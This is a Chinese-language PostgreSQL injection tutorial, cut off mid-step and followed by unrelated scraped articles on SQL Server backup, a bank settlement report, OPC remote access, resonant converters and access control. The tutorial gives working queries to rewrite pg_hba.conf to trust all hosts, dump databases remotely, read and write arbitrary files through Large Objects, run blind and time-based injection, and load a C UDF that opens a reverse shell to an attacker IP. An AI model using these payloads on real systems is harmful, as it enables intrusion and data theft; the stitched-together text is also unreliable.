Adminpack是postgres在8.2新加入的一个拓展,这个拓展可以包含一系列函数,可以在允许的范围

内进行文件操作。

这些函数大多数并没有添加,需要手动进行添加。已经添加的函数列表如下,adminpack会将其指定

为另一个别名(原始名称仍可用):

pg_read_file(text, bigint, bigint)

pg_stat_file(text)

pg_rotate_logfile()

其余函数的添加语句见postgres安装目录下

/share/extension/adminpack-1.0.sql(windows)

或postgres源码目录下

/contrib/adminpack/adminpack--1.0.sql(linux,仅源码安装方式,非apt-get)

注意:在linux下需手动编译adminpack.c,命令为

gcc $PGSRC/contrib/adminpack/adminpack.c -shared -fPIC -I/usr/local/pgsql/include/server

-o adminpack.so

其中$PGSRC为postgres源码路径。

由于pg_ls_dir(text)、pg_read_binary_file(text, bigint, bigint)两个函数与adminpack函数极

为相似,所以在此也归为adminpack函数中。

网上能够找到的pg注入读写文件第二种方法就是使用adminpack,至于利用方式只有一句话“postgre

在8.2之后增加了pg_file_read函数,看名字就知道是干什么的了吧,哈哈!”。

这无疑是未经测试的想当然的说法,adminpack可以进行在允许的范围内文件操作,但范围只限于数

据目录中。也就是说,在数据目录外的文件不可能通过adminpack函数进行操作。

Adminpack函数的源代码见:

https://www.360docs.net/doc/e64414052.html,/adminpack_8c_source.html(sql文件中前五个函数)

https://www.360docs.net/doc/e64414052.html,/genfile_8c_source.html(其余的adminpack函数)

可以看到,这些进行文件操作的函数都经过convert_and_check_filename函数进行检测。如果使用绝

对路径查询,会返回“不允许使用绝对路径”的错误;如果路径中使用了..跳转到上级目录,则返回“路

径必须在当前目录或子目录下”的错误。

这样,adminpack只能读取数据目录的文件或向其中写入文件,限制目录的文件读取作用有限,同时

由于pg_file_write的函数签名为pg_file_write(text,text,boolean),其中第一个参数为路径,第二个

参数为要写入的内容,第三个参数为是否追加,导致写入二进制文件是不可能的(postgres不允许0字符)。

当然,adminpack也不是完全没有用处,由于postgres对于登陆的授权文件pg_hba.conf也处于data

目录,刚好可以由adminpack函数编辑。所以当可以使用adminpack函数时,可以尝试以下操作:执行查询语句:

Select inet_server_addr();

将返回数据库的IP地址(相对于本次连接),如果为127.0.0.1,则说明与web服务器为相同ip。

之后执行查询语句:

select pg_file_write('pg_hba.conf',chr(10)||'host all all 0.0.0.0/0 trust'||chr(10),true);

这将在pg_hba.conf末尾添加一条授权,表示允许来自任何ip的任何用户使用任何用户(包括postgres)连接任何数据库,同时信任本次连接,不要求任何授权验证(除非有其余语句显式限制了某个IP段)。

注意:语句中的空格不可省略。

另:如果以上操作失败,请检查数据库服务器是否为外网。或使用以下语句:

select pg_read_file('pg_hba.conf')::int;

读取pg_hba.conf并分析,必要时将pg_file_write函数的第三个参数设为false,从而达到覆盖配置文件的效果。

然后等待数据库服务器重启(windows下面配置文件一经修改会自动重新加载,可以直接进行连接),最后即可使用psql工具远程连接数据库执行查询,或是用pgadmin/pg_dump脱裤。

例如以下语句会连接远程数据库192.168.223.173,并将test数据库备份到本地back.backup文件中:pg_dump.exe -w --host 192.168.223.173 --username "postgres" --compress 9 --no-password --blobs --section pre-data --section data --section post-data --encoding UTF8 --inserts --column-inserts --verbose --file back.backup "test"

有关pg_hba.conf更多的信息,参考:

https://www.360docs.net/doc/e64414052.html,/docs/current/static/auth-pg-hba-conf.html

更多关于psql与pg_dump命令行格式的内容,请执行psql --help或pg_dump --help。

0x53 使用Large Object实现文件操作

Large Object可以近似的看作储存于数据库中的逻辑文件,在使用时可以完全的将其作为文件进行操作。

操作Large Object要求super权限,如果是非super权限,则会显示以下错误信息:

错误: 必须是管理者才能使用服务器 lo_import()

HINT: 任何人都能使用 libpq 提供的客户端 lo_import()。

创建大对象有两种方法:导入或新建。

使用lo_creat函数即可创建一个空的大对象,并由系统自动分配oid,例如执行语句:

select lo_creat(-1);

会返回一个oid,例如73954。

也可以使用lo_create函数创建空的大对象,并将大对象与指定的oid相关联。例如执行语句:

select lo_create(-1);

会返回4294967295,表示成功创建oid为4294967295的大对象

或者可以使用lo_import将某个已存在的文件导入为大对象,并由系统自动分配oid,例如执行语句:select lo_import('c:/windows/system32/cmd.exe');

会返回一个oid,例如73955,同时大对象中的数据即为完整的cmd.exe。

也可以手动指定大对象的oid,注意这个oid不可与其他大对象的oid相重复,例如执行语句:

Select lo_import('c:/windows/system32/cmd.exe',12345678);

会返回12345678,表示成功创建oid为12345678的大对象并将cmd.exe导入其中。

创建完大对象后便可以使用lo_open打开这个大对象,lo_open的函数签名为lo_open(oid, int),第一个参数为大对象的oid,第二个参数为读写模式,是一个常量。

这个函数在官方函数文档中没有任何说明,在API文档中的说明为“打开一个大对象返回其操作描述符”,但实际上在查询语句中使用时不论如何都会返回0。

而读写模式也没有任何说明,对照API文档并结合源码最终发现这个模式在文件:

src/include/libpq/libpq-fs.h

中提供了定义:

这个模式可以进行位操作,指定其为INV_READ|INV_WRITE(0x00060000)即代表可以同时进行读写操作。

综上,可以使用以下语句打开一个大对象,并指定操作为写入:

select lo_open(73954,x'20000'::int);

注:打开一个大对象之后,大对象的数据指针会指向其最开始的那个字节。

写入大对象需要使用函数lowrite(注意这里没有下划线),lowrite的函数签名为lowrite(int,bytea),第一个参数为由lo_open函数打开所返回的句柄,第二个参数为要写入的内容(从这里就能看出,可以向大对象中写入任何内容)。同样的,这个函数在官方函数文档也没有任何说明。

例如以下语句会将0xfeffbf写入oid为73954的大对象中:

select lo_open(73954,x'20000'::int);

select lowrite(0,decode('feffbf','hex'));

注意:这里使用decode函数将hex值转换为字节数组,直接使用unknown类型是不正确的。

有时候可能需要分多次将数据导入同一个大对象中,这就要求每一次进行写操作前大对象的数据指针都指向末尾,使用lo_lseek函数即可完成这一点。

lo_lseek的函数签名为lo_lseek(int,int,int),第一个参数为由lo_open函数打开所返回的句柄,第二个参数为相对位置,第三个参数为相对位置的起始点,是一个常量。

和lo_open类似,这个在官方函数文档没有任何说明,通过对比API文档并查看源码最终在文件:src/include/zconf.h

中发现以下定义:

综上,可以使用以下语句打开oid为73954的大对象,并将其数据指针指向末尾:

select lo_open(73954,x'60000'::int);

select lo_lseek(0,0,2);

之后便可以使用lowrite函数直接向这个大对象中写入内容。

当完成对一个大对象的导入/写入操作后,接下来需要做的就是获取其内容(针对导入,即读取文件)

/将这个大对象导出(针对写入,即写文件)。

将大对象导出可以使用lo_export函数,这个函数的签名为lo_export(oid,text),第一个参数为要导出的大对象的oid,第二个参数为导出的路径,如果导出路径为相对路径,则会导入至当前的数据目录中。

例如,执行以下语句会将oid为73954的大对象导出至c:/windows/temp/123.txt

select lo_export(73954,'c:/windows/temp/1.txt');

Postgres会将所有的大对象数据保存于pg_catalog目录下的pg_largeobject目录对象中,这个目录对象有三个字段,loid、pageno、data。

loid代表大对象的oid,与lo_create等函数的返回值相同。

pageno为分页序号,大对象的数据会被分为多个页进行储存,这个字段就是每个页之间的序号。

Data为储存在这一页中的部分大对象数据,为bytea类型。

于是在知道oid的时候,可以使用以下语句获取一个大对象中所有的数据:

select array_agg(b)::text::int from(select encode(data,'hex')b,pageno from pg_largeobject where loid=73957 order by pageno)a--

从返回的错误信息中去掉花括号、逗号,仅保留HEX字符,之后将所有的HEX字符粘贴到winhex中即可完整的还原这个大对象。

当需要关闭一个大对象时,可以使用lo_close函数,这个函数的签名为lo_close(int),参数为由lo_open函数打开所返回的句柄。

例如,使用以下语句即可关闭已经打开的大对象:

select lo_open(73954,x'60000'::int);

select lo_close(0);

最后,如果需要删除一个大对象,需要使用lo_unlink函数,例如执行以下语句会将oid为73954的大对象永久删除。

Select lo_unlink(73954);

关于Large Object的官方API文档与函数文档,参考:

https://www.360docs.net/doc/e64414052.html,/docs/9.1/static/lo-interfaces.html

https://www.360docs.net/doc/e64414052.html,/docs/9.1/static/lo-funcs.html

另:一个小技巧。在linux系统下如果lo_import等函数的第一个参数指向的路径是一个目录,则会返回以下错误:

ERROR: could not read server file "/": 是一个目录

而在windows下会返回:

错误: 无法打开服务器文件 "c:/windows/temp": Permission denied

这个错误提示在注入中可以用来猜测目录,在有时会有意想不到的收获。

0x60 利用UDF函数获取反弹Shell

Postgres支持许多种语言自定义函数,默认情况下开启plpgsql和c,其中plpgsql为标准的sql语

句,而c则与mysql UDF类似,会加载一个动态链接库到进程空间。这样如果将UDF中的函数实现替换为特定的代码,就能在数据库权限下进行更多的操作(例如执行某些命令,或是干脆直接反弹回一个shell 等等)。

如果是其他类型数据库的注入点直接加载UDF似乎是不可能的,不过postgres强大的Large Object 将这一切变为了可能。

在进行这一特性的利用之前,首先需要了解如何编写postgres的UDF函数。这需要使用postgres附带的头文件,具体参见0x82 UDF的一些注意事项,这里不做赘述。

假设现在已经拥有保存于c:/windows/temp/test.dll、导出函数名为GetResvShell的一个UDF文件。同时这个函数会接受两个参数,第一个参数为text类型,表示要反弹到的远程主机,第二个参数为int型,表示远程主机的端口,并且会返回一个int型的数值表示执行的结果,那么使用以下sql语句即可将此文件与其导出函数GetResvShell注册为函数test:

Create or replace function test(text,int)returns int as 'c:/windows/temp/test.dll', 'GetResvShell' language c;

最后,在远程主机监听8888端口,同时执行

select test('192.168.1.10',8888);

即可获取一个与postgres相同权限的shell。

当然,这里只是本地进行测试的过程,而真正在注入点要比这繁琐一些:

首先需要查看是否为super权限:

select usesuper::text::int from pg_user where usename=current_user;

如果确认为super权限,同时可以通过联合查询返回结果则执行以下语句:

Select 1,2,lo_creat(-1);

否则创建临时表保存返回的oid:

Create table tempAD4EA(id oid);insert into tempAD4EA values(lo_creat(-1));

进行强制类型转换或盲注获取结果:

Select (''||(id::text))::int from tempAD4EA-- ---强制类型转换报错

(省略服务端脚本中部分) and (select id from tempAD4EA)>0-- ---盲注

select pg_sleep(5) where (select id from tempAD4EA)>0-- ---基于延时的盲注

记下返回的OID,以供后续使用。

删除临时表:

Drop table tempAD4EA;

查看数据库版本,选择正确的UDF:

Select version()::int;

根据OID打开之前的大对象,并向其中写入内容(语句中的OID为先前返回):

Select lo_open(OID,x'60000'::int);select lo_write(0,decode('HEXCODE','hex'));

其中HEXCODE部分为UDF经过十六进制编码之后所得,可以使用winhex进行此操作。由于一般情况下注入点都在URL处,建议每次从udf函数中截取512字节并转换为hex值。

SQL Server 数据库备份和还原认识和总结 (一)

SQL Server 数据库备份和还原认识和总结(一) 可能许多同学对SQL Server的备份和还原有一些了解,也可能经常使用备份和还原功能,我相信除DBA之外我们大部分开发员队伍对备份和还原只使用最基础的功能,对它也只有一个大概的认识,如果对它有更深入的认识,了 解它更全面的功能岂不是更好,到用时会得心应手 可能许多同学对SQL Server的备份和还原有一些了解,也可能经常使用备份和还原功能,我相信除DBA之外我们大部分开发员队伍对备份和还原只使用最基础的功能,对它也只有一个大概的认识,如果对它有更深入的认识,了解它更全面的功能岂不是更好,到用时会得心应手。因为经常有中小型客户公司管理人员对数据库不了解或掌握不牢,会请我们技术人员出马找回丢失的数据或硬件损坏移动数据的现象,或其它情况的发生。 首先从数据库【恢复模式】说起,因为数据库如果恢复模式设置不正确,会导致数据无法还原。 SQL Server 2012对数据库备份和还原与SQL Server 2008基本没有太大变化,仅对还原时间点选择UI和相关还原选项做了小改动,备份和还原核心没有做变化,这只是个人的掌握和了解,仅供参考,具体还请以官方文档为依据。以下利用SQL Server 2012 SSMS(SQL Server Management Studio)做图例演示。 SQL Server 2008数据库恢复模式分为三种:完整恢复模式、大容量日志恢复模式、简单恢复模式。 ◆完整恢复模式。为默认恢复模式。它会完整记录下操作数据库的每一个步骤。使用完整恢复模式可以将整个数据库恢复到一个特定的时间点,这个时间点可以是最近一次可用的备份、一个特定的日期和时间或标记的事务。

财务结算工作总结

财务结算工作总结 20** 年即将过去,回顾一年来的工作,支行会计结算部按照省、分行的总体部署,以安全防范为主题,强化会计结算基础管理工作为主线,坚持锐意进取、开拓创新、求真务实的工作作风,在行领导及分行专业科的关心、重视和支持下,在各部室的密切配合以及结算部全体人员的共同努力下,较好的完成了揽存增储、中间业务、保险、基金等各项任务,全员的防范意识、业务素质、核算质量、服务技能等有了很大的提高,下面将本年度的工作情况汇报如下:一年来在主管行长的带领下,一总两员、各位经理及专职监管员各履其职、各负其责,加强管理、监督、检查与辅导,尽其所能把工作做细做实,从最基本的制度入手,指导全员严格按照规章制度和操作流程办理业务,通过现场检查,调阅录像、传票、登记簿和不定期抽查等多种形式进行检查,全年重点对反交易及冲正业务进行监测和检查,同时对省、分行以及各部门检查出现的问题逐条逐项分析原因,及时落实整改,将隐患消除在萌芽状态,从而化解并防范了风险,会计结算全年安全无事故。 利用晨训和空闲时间,有计划、有步骤的组织员工学习有关文件、规章制度以及新业务、新知识,使员工对所做的业务有了更深的了解,如组织员工对外汇业务、财政支付系统业务流程及非税收入业务进行系统的学习,使每一个柜员都能顺利办理业务针对会计结算部和两个分理处三个对公网点的传票核算质量出现的问题,制定出凭证样本,提供给柜员参考,同时针文秘114 版权所有对钱捆质量问

题,下发了文件,根据实际情况及时下发业务明确进行指导,杜绝习惯做法,以制度为标准严格要求,使核算质量有了很大的提高。 三、加大营销力度,积极拓展中间业务发展空间,增加中间业务收入 结算部在巩固和完善传统中间业务的同时,利用报纸、电视媒体和发放宣传单等形式,大力宣传保管箱业务; 与人寿保险公司、烟草公司及城市信用社等多家企业签订现金管理服务协议,同全区四十多家执法单位签订代收罚没款协议,大幅度增加中间业务收入; 利用银税联网网上缴税和人行清理帐户之机,开立和清理帐户,从而大大增加了帐户管理费。 四、深化会计核算体制改革,做好全功能银行组织牵头工作。精心组织,周密安排,在卫东所撤并到加铁分理处,专柜所撤并到支行的过程中,指导业务人员进行帐务结转,使我行的网点撤并工作准确无误,顺利完成。组织各网点业务人员参加全功能银行系统的测试和验证工作。 我们按照分行下发的现金库存额度,为各网点重新核定了库存限额,为了合理运用资金,提高资金使用率,做到支取大额现金提前预约,各网点使用现金勤缴勤调,节假日、月末有效控制库存额度,全年101002 科目无在途,现金综合运用率达61。 在人行清理帐户过程中,会计结算部抢先抓早,在帐户数量多,开户时间久远,企业分布较广的情况下,有计划、有重点的对优质的大客户提前收集帐户资料,同时得到了机构业务、公司业务、个金业

远程访问OPC服务器设置

远程访问OPC服务器设置 OPC客户端一方面可以访问本机上的OPC服务器,另一方面,它还可以利用微软的DCOM机制,通过网络来访问其它计算机上的OPC服务器,从而达到远程数据连接的目的。访问本地服务器比较简单,只要检索本地的OPC服务器,并配置相应的组(Group)和数据项(Item)即可,通过网络访问时需要考虑较多的网络连接因素,大体上来说大概有如下的几个需要配置的方面(以WINXP Xp2为例): 一. 运行OPC客户端的计算机和运行OPC服务器的计算机需要彼此能互相访问。 1.1要保证其物理连接,也就是网线正确的连接着两台计算机。 1.2在这两台计算机上分别建立同一个账号及密码,比如用户名[opcuser],密码[123456](注 意:用户密码最好不要设置为空),在这两台计算上使用这个账户都可以登录系统。关于增加账号及密码请参考对应Windows操作系统的帮助文档。 1.3启用各自Windows操作系统的Guest权限。 完成上面几步后,应该达到的效果是:从任何一台计算机搜索另一台计算机,都可以搜索到,并且可以访问对方计算机的共享目录及共享打印机等资源。如下图: 即便用户没有共享任何东西,也会显示空的共享文件夹,而不会产生诸如”不能访问”

等信息。 如果不能访问对方的计算机,首先用ping命令来保证网络的连通,如果必要的情况下,可以关闭这两台计算机的防火墙(无论是winxp xp2自带的防火墙还是专用的防火墙)以及杀毒软件,以杜绝可能产生的问题。 如果访问另一台计算机产生”拒绝访问”的错误,可从网络查找相关资源进行解决。 二. 配置OPCServer所在的计算机 2.1 注册OPCEnum.exe。 opcenum.exe是运行在服务器端的用于枚举本机OPC服务器的服务程序,由OPC基金会提供。注册opcenum有如下几种方式:a)将opcenum.exe拷贝到系统目录下,然后用命令行运行opcenum /regserver 来注册它。b)安装一些OPC服务器程序时会自动安装并注册这个服务程序,比如iconics的模拟OPC服务器程序。c)运行OPC基金会的OPC Core Redistributable安装包,其中包含必要的模块程序。 考虑到远程访问OPC服务器应用较少,以及opcenum.exe对一般用户在系统安全方面带来的混淆,在HMIBuilder中的OPC服务器本身不带OPCEnum.exe,用户根据自己的需要自行注册。 2.2 配置本机的DCOM安全 2.2.1 在命令行运行dcomcnfg,如下图: 产生配置界面如下:

串联谐振脉冲调制方法总结

串联谐振脉冲调制方法总结 调幅控制方法是通过调节直流电压源输出(逆变器输入)电压Ud(可以用移相调压电路,也可以用斩波调压电路加电感和电容组成的滤波电路,来实现调节输出功率的目的。即逆变器的输出功率通过输入电压调节,由锁相环(PLL)完成电流和电压之间的相位控制,以保证较大的功率因数输出。 脉冲密度调制方法就是通过控制脉冲密度,实际上就是控制向负载馈送能量的时间来控制输出功率。其控制原理,这种控制方法的基本思路是:假设总共有N个调功单位,在其中M个调功单位里逆变器向负载输出功率;而剩下的N-M个单位内逆变器停止工作,负载能量以自然振荡形式逐渐衰减。输出的脉冲密度为M/N,这样输出功率就跟脉冲密度联系起来了。因此通过改变脉冲密度就可改变输出功率。 脉冲密度调制方法的主要优点是:输出频率基本不变,开关损耗相对较小,易于实现数字化控制,比较适合于开环工作场合。 脉冲频率调制方法是通过改变逆变器的工作频率,从而改变负载输出阻抗以达到调节输出功率的目的。 负载的阻抗随着逆变器的工作频率(f)的变化而变化。对于一个恒定的输出电压,当工作频率与负载谐振频率偏差越大时,输出阻抗就越高,因此输出功率就越小,反之亦然。

脉冲频率调制方法的主要缺点是工作频率在功率调节过程中不断变化,导致集肤深度也随之而改变,在某些应用场合如表面淬火等,集肤深度的变化对热处理效果会产生较大的影响,这在要求严格的应用场合中是不允许的。但是由于脉冲频率调制方法实现起来非常简单,故在以下情况中可以考虑使用它:1)如果负载对工作频率范围没有严格限制,这时频率必须跟踪,但相位差可以存在而不处于谐振工作状态。 2)如果负载的Q值较高,或者功率调节范围不是很大,则较小的频率偏差就可以达到调功的要求。 脉冲密度调制方法的主要缺点是:逆变器输出功率的频率不完全等于负载的自然谐振频率,在需要功率闭环的场合中,工作稳定性较差。由于每次从自然衰减振荡状态恢复到输出功率状态时要重新锁定工作频率,这时系统可能会失控。因此在功率闭环或者温度闭环的场合,工作的稳定性不好。其另一个缺点就是功率调节特性不理想,呈有级调功方式。 谐振脉冲宽度调制(PWM)方法 谐振脉冲宽度调制是通过改变两对开关管的驱动信号之间的相位差来改变输出电压值以达到调节功率的目的。即在控制电路中使原来同相的两个桥臂开关(S1,S2)、(S3,S4)的驱动信号之间错开一个相位角,使得输出的正负交替电压之间插入一个零电压值,这样只要改变相位角就可以改变输出电压的有效值,最终达到调节输出功率的目的。

访问控制总结报告

1. 访问控制概念 访问控制是计算机发展史上最重要的安全需求之一。美国国防部发布的可信计算机系统评测标准(Trusted Computer System Evaluation Criteria,TCSEC,即橘皮书),已成为目前公认的计算机系统安全级别的划分标准。访问控制在该标准中占有极其重要的地位。安全系统的设计,需要满足以下的要求:计算机系统必须设置一种定义清晰明确的安全授权策略;对每个客体设置一个访问标签,以标示其安全级别;主体访问客体前,必须经过严格的身份认证;审计信息必须独立保存,以使与安全相关的动作能够追踪到责任人。从上面可以看出来,访问控制常常与授权、身份鉴别和认证、审计相关联。 设计访问控制系统时,首先要考虑三个基本元素:访问控制策略、访问控制模型以及访问控制机制。其中,访问控制策略是定义如何管理访问控制,在什么情况下谁可以访问什么资源。访问控制策略是动态变化的。访问控制策略是通过访问机制来执行,访问控制机制有很多种,各有优劣。一般访问控制机制需要用户和资源的安全属性。用户安全属性包括用户名,组名以及用户所属的角色等,或者其他能反映用户信任级别的标志。资源属性包括标志、类型和访问控制列表等。为了判别用户是否有对资源的访问,访问控制机制对比用户和资源的安全属性。访问控制模型是从综合的角度提供实施选择和计算环境,提供一个概念性的框架结构。 目前人们提出的访问控制方式包括:自主性访问控制、强访问控制、基于角色的访问控制等。5.访问控制方式分类 2.1自主访问控制 美国国防部(Department of Defense,DoD)在1985年公布的“可信计算机系统评估标准(trusted computer system evaluation criteria,TCSEC)”中明确提出了访问控制在计算机安全系统中的重要作用,并指出一般的访问控制机制有两种:自主访问控制和强制访问控制。自主访问控制(DAC)根据访问请求者的身份以及规定谁能(或不能)在什么资源进行什么操作的访问规则来进行访问控制,即根据主体的标识或主体所属的组对主体访问客体的过程进行限制。在DAC系统中,访问权限的授予可以进行传递,即主体可以自主地将其拥有的对客体的访问权限(全部或部分地)授予其它主体。DAC根据主体的身份及允许访问的权限进行决策。自主是指具有某种访问能力的主体能够自主地将访问权的某个子集授予其它主体。在DAC系统中,由于DAC可以将访问权限进行传递,对于被传递出去的访问权限,一般很难进行控制。比如,当某个进程获得了信息之后,该信息的流动过程就不再处于控制之中,就是说如果A可访问B,B可访问C,则A就可访问C,这就导致主体对客体的间接访问无法控制(典型如操作系统中文件系统)。这就造成资源管理分散,授权管理困难;用户间的关系不能在系统中体现出来;信息容易泄漏,无法抵御特洛伊木马的攻击;系统开销巨大,效率低下的缺点,不适合大型网络应用环境。 2.2强访问控制 强制访问控制(MAC)根据中央权威所确定的强制性规则来进行访问控制。和DAC不同,强制访问控制并不具备访问主体自主性,主体必须在由中央权威制定的策略规则约束下对系统资源进行访问。强制访问控制是一种不允许主体干涉的访问控制类型,是基于安全标识和信息分级等信息敏感性的访问控制。在MAC中,系统安全管理员强制分配给每个主/客体一个安全属性,强制访问控制根据安全属性来决定主体是否能访问客体。安全属性具有强制性,不能随意更改。 MAC最早出现在美国军方的安全体制中,并且被美国军方沿用至今。在MAC方案中,每个目标由安全标签分级,每个对象给予分级列表的权限。分级列表指定哪种类型的分级目标对象是可以访问

配置远程访问服务

配置远程访问服务 一、远程访问服务概述 远程访问服务(Remote Access Servic,RAS)允许客户端通过拨号连接或虚拟专用连接登录网络。远程客户机一旦得到RAS服务器的确认,就可以访问网络资源,就好象客户机已经直接连接在局域网上一样。 1.远程访问连接方式 远程访问服务适合的环境是:在各地有分公司和出差的员工需要访问总部网络的资源。Windows Servic 2003 远程访问服务提供了两种远程访问连接方式: 拨号网络:通过使用电信提供商(例如电话、ISDN或)提供服务,远程客户端使用非永久的拨号连接到远程访问服务器的物理接口上,这时使用的网络就是拨号网络。例如:拨号网络客户端需要安装Modem,使用拨号网络拨打远程访问服务器某个端口的电话号码。 虚拟专用网(Virtual Private NetWork,VPN):VPN是穿越公用网络(如Internet)的、安全的、点对点连接。虚拟专用网客户端使用特定的,称为隧道协议的基于TCP/IP的协议,与虚拟专用网服务器建立连接。例如,虚拟网络客户端使用虚拟专用网连接(连接目标是IP地址)连接到与Internet相连的远程访问服务器上,验证呼叫方身份后,在虚拟专用网客户端和企业网络之间传送资料。 这两种连接比专线连接,提供了低成本远程访问服务。 拨号的远程访问是通过电话线传输资料,虽然传输速率不高,但是对于那些只有少数资料需要传输的用户,特别是在家庭中办公的用户来说是一个很好的方案。

使用虚拟专用连接不但提供了高的传输效率,而且降低了投资成本和维护成本。相对于拨号连接来说,它节约了通信费用,特别是对于外地的分公司来说,解决了一大笔长途电话的费用。 2.拨号网络组件 a、拨号网络客户端:拨号网络客户端,即远程访问客户端。 b、远程访问服务器:Windows Server 2003 远程访问服务器可以接收拨号连接,并且在远程访问客户机与远程访问服务器所在的网络之间进行资料传送。 c、WAN结构:RAS服务器与客户机之间可以建立不同类型的拨号连接,不同的连接类型提供了不同的速度。这些连接类型包括:公共交换电话网(Public Switch Telephone Network,PSTN)、综合业务数字网(Integrated Services Digital Network,ISDN)、非对称数字用户线(Asymmetric Digital Subscriber Line,ADSL)等。 d、远程访问协议:远程访问协议用来控制连接的建立以及资料在WAN链路上的传输。远程访问客户端与远程访问服务器上所使用的操作系统与LAN协议决定了客户机所能够使用的远程访问协议。Windows Server 2003远程访问支持3中类型的远程访问协议: 点到点协议(point-to-point Protocol,PPP)是一种应用非常广泛的工业标准协议,它支持多个厂商的远程访问软件并支持多种网络协议,可以提供最佳的安全性能、多协议访问以及互操作性。 串行线路网际协议(Serial Line Internet Protocol,SLIP)是一种在运行老式UNIX 操作系统远程访问服务器上使用的协议。 Microsoft RAS协议是一种在运行Microsoft操作系统远程访问客户机上使用的远程访问协议。 e、LAN协议:LAN协议是远程访问客户用来访问连接到远程访问服务器上的网络资源而使用的协议。Windows Server 2003中的远程访问服务支持TCP/IP、IPX以及NetBEUI等协议。 3.VPN组件 通俗地讲,VPN就是基于公共网络(如Internet),在两个或两个以上的局域网之间创建传输资料的网络隧道。当传输资料通过网络隧道时,进行安全的VPN资料加密,从而确保了用户资料的安全性、完整性和真实性。 要使用VPN远程访问,需将RAS服务用作VPN服务器。VPN服务器和客户机通过本地的Internet 服务提供商(Internet Service Provider,ISP)在Internet上建立虚拟点到点的连接,就像是客户机直接连接到服务器的网络上一样。 a、VPN的组成要素有: VPN客户端:VPN客户端可能是一台单独的计算机,也可能是路由器。一般的,VPN 客户端需要通过当地ISP连上公共网络(如Internet)以便和VPN服务器连接。 VPN服务器:接收VPN客户端VPN连接的计算机。该计算机一般是使用专线连接公共网络,有固定IP地址。 隧道:连接中封装资料的部分

访问控制列表(ACL)总结

访问控制列表(ACL)总结 一、什么是ACL? 访问控制列表简称为ACL,访问控制列表使用包过滤技术,在路由器上读取第三层及第四层包头中的信息如源地址,目的地址,源端口,目的端口等,根据预先定义好的规则对包进行过滤,从而达到访问控制的目的。该技术初期仅在路由器上支持,近些年来已经扩展到三层交换机,部分最新的二层交换机也开始提供ACL的支持了。 二、访问控制列表使用原则 由于ACL涉及的配置命令很灵活,功能也很强大,所以我们不能只通过一个小小的例子就完全掌握全部ACL的配置。在介绍例子前为大家将ACL设置原则罗列出来,方便各位读者更好的消化ACL知识。 1、最小特权原则 只给受控对象完成任务所必须的最小的权限。也就是说被控制的总规则是各个规则的交集,只满足部分条件的是不容许通过规则的。 2、最靠近受控对象原则 所有的网络层访问权限控制。也就是说在检查规则时是采用自上而下在ACL中一条条检测的,只要发现符合条件了就立刻转发,而不继续检测下面的ACL语句。 3、默认丢弃原则 在CISCO路由交换设备中默认最后一句为ACL中加入了DENY ANY ANY,也就是丢弃所有不符合条件的数据包。这一点要特别注意,虽然我们可以修改这个默认,但未改前一定要引起重视。 由于ACL是使用包过滤技术来实现的,过滤的依据又仅仅只是第三层和第四层包头中的部分信息,这种技术具有一些固有的局限性,如无法识别到具体的人,无法识别到应用内部的权限级别等。因此,要达到端到端的权限控制目的,需要和系统级及应用级的访问权限控制结合使用。 三、标准访问列表 访问控制列表ACL分很多种,不同场合应用不同种类的ACL。其中最简单的就是标准访问控制列表,标准访问控制列表是通过使用IP包中的源IP地址进行过滤,使用的访问控制列表号1到99来创建相应的ACL 标准访问控制列表的格式: 访问控制列表ACL分很多种,不同场合应用不同种类的ACL。其中最简单的就是标准访问控制列表,他是通过使用IP包中的源IP地址进行过滤,使用的访问控制列表号1到99 来创建相应的ACL。 它的具体格式如下:access-list ACL号permit|deny host ip地址 例:access-list 10 deny host 192.168.1.1这句命令是将所有来自192.168.1.1地址的数据包丢弃。 当然我们也可以用网段来表示,对某个网段进行过滤。命令如下:access-list 10 deny 192.168.1.0 0.0.0.255 通过上面的配置将来自192.168.1.0/24的所有计算机数据包进行过滤丢弃。为什么后头的子网掩码表示的是0.0.0.255呢?这是因为CISCO规定在ACL中用反向掩玛表示子网掩码,反向掩码为0.0.0.255的代表他的子网掩码为255.255.255.0。 注:对于标准访问控制列表来说,默认的命令是HOST,也就是说access-list 10 deny 192.168.1.1表示的是拒绝192.168.1.1这台主机数据包通讯,可以省去我们输入host命令。 标准访问控制列表实例一:

数据库备份和还原操作方法

数据库备份和还原 在收费系统运行一段时间后,如发生系统不正常要重装WINDOWS操作系统或更换电脑时,须按照下面“数据库备份”方法将原系统的数据文件备份,并将备份文件妥善保存(避免随系统重装而丢失数据),在重装系统或更换电脑后,按照软件的安装方法顺序安装SQL2000数据库和消费/水控管理软件,然后按照下面“数据还原”方法进行数据库还原,完成后系统中的数据即与原数据完全[相同。 数据库备份: 以ICSF为例,打开ICSF软件,选择菜单栏下的系统维护,然后选择数据备份。(系统维护——数据备份)如图(1-1): 1-1 数据备份完成后,可以在基本资料——系统参数里(1-2),在弹出的对话框上的备份路径二(手动备份)里可以找到数据备份的路径(1-3)。如图:

1-2 1-3 提示: 1、上述方法为手动备份,本系统在使用后正常腿出系统时也会自动进行 数据备份,如已经无法正常开启原电脑(无法进行手动备份)则可将 原电脑硬盘连接到其他电脑中,找到“备份路径一”所指向的路径, 找到备份文件夹,将其中修改日期最近的备份文件拷贝出来用于数据 还原。 2、在安装收费/水控系统时建议不要将安装目录选在C盘,避免因格式 化的操作是备份数据丢失,如果已经将软件安装在C盘,则建议将备 份文件路径指定为其他盘。 数据还原 数据还原,首先要找到备份的数据文件。如上所述,备份文件存放在E:\软件\ICSF5.74\Mdbbak上,根据路径找到Mdbbak文件夹并打开。 打开Mdbbak文件夹后,里面有类似这样的(1-4)BAK文件。 找寻最新的BAK文件,并把它与软件安装包(光盘)中IC挂接数据库.exe软件拷贝到电脑任意一个目录(文件夹)中,然后将备份文件重命名(光标放在备份文件 上点鼠标右键,选择重命名),改为ICSF.db。如图:(1-5)

国际结算方式总结

